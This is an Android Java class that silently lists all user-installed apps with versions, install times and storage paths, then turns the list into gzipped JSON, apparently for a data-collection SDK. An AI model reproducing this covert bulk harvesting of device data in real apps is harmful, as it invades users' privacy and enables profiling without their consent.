package com.zhi.syc.data.services;

import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Build;

import com.google.gson.Gson;
import com.zhi.syc.data.beans.ASApsInfoBean;
import com.zhi.syc.data.logger.ASLogger;
import com.zhi.syc.data.util.ASUtil;

import java.util.ArrayList;
import java.util.List;

public class ASApsInfo {
    public static List<ASApsInfoBean> getAppList(Context paramContext) {
        ArrayList<ASApsInfoBean> arrayList = new ArrayList<>();
        try {
            PackageManager packageManager = paramContext.getPackageManager();
            List<PackageInfo> list = packageManager.getInstalledPackages(PackageManager.GET_ACTIVITIES | PackageManager.GET_SERVICES);
            for (int b = 0; b < list.size(); b++) {
                PackageInfo packageInfo = list.get(b);
                ASApsInfoBean installedAppsInfoBean = new ASApsInfoBean();
                if ((packageInfo.applicationInfo.flags & 0x1) == 0) {
                    installedAppsInfoBean.setAppName(packageInfo.applicationInfo.loadLabel(packageManager).toString());
                    installedAppsInfoBean.setAppPackageName(packageInfo.packageName);
                    installedAppsInfoBean.setAppVersionName(packageInfo.versionName);
                    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.P) {
                        installedAppsInfoBean.setAppVersionCode(String.valueOf(packageInfo.versionCode));
                    }
                    else {
                        installedAppsInfoBean.setAppVersionCode(String.valueOf(packageInfo.getLongVersionCode()));
                    }
                    installedAppsInfoBean.setAppType("0");
                    installedAppsInfoBean.setFlags(String.valueOf(packageInfo.applicationInfo.flags));
                    installedAppsInfoBean.setInstallTime(String.valueOf(packageInfo.firstInstallTime));
                    installedAppsInfoBean.setLastTime(String.valueOf(packageInfo.lastUpdateTime));
                    installedAppsInfoBean.setDataPath(ASUtil.sadfauer543e(packageInfo.applicationInfo.dataDir));
                    installedAppsInfoBean.setSourcePath(ASUtil.sadfauer543e(packageInfo.applicationInfo.sourceDir));
                    arrayList.add(installedAppsInfoBean);
                }
            }

            list.clear();
            list = null;
        } catch (ArrayIndexOutOfBoundsException exception) {
            exception.printStackTrace();
        } catch (Exception exception) {
            exception.printStackTrace();
        }
        return arrayList;
    }

    public static String getListZipString(Context paramContext) {
        String zipString = "";
        try {
            List<ASApsInfoBean> beans = getAppList(paramContext);
            String result = new Gson().toJson(beans).trim();
            ASLogger.d(ASApsInfo.class.getSimpleName(), "result: "+result);
            zipString = ASUtil.stringToGZIP(result);
            beans.clear();
            beans = null;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return zipString;
    }
}
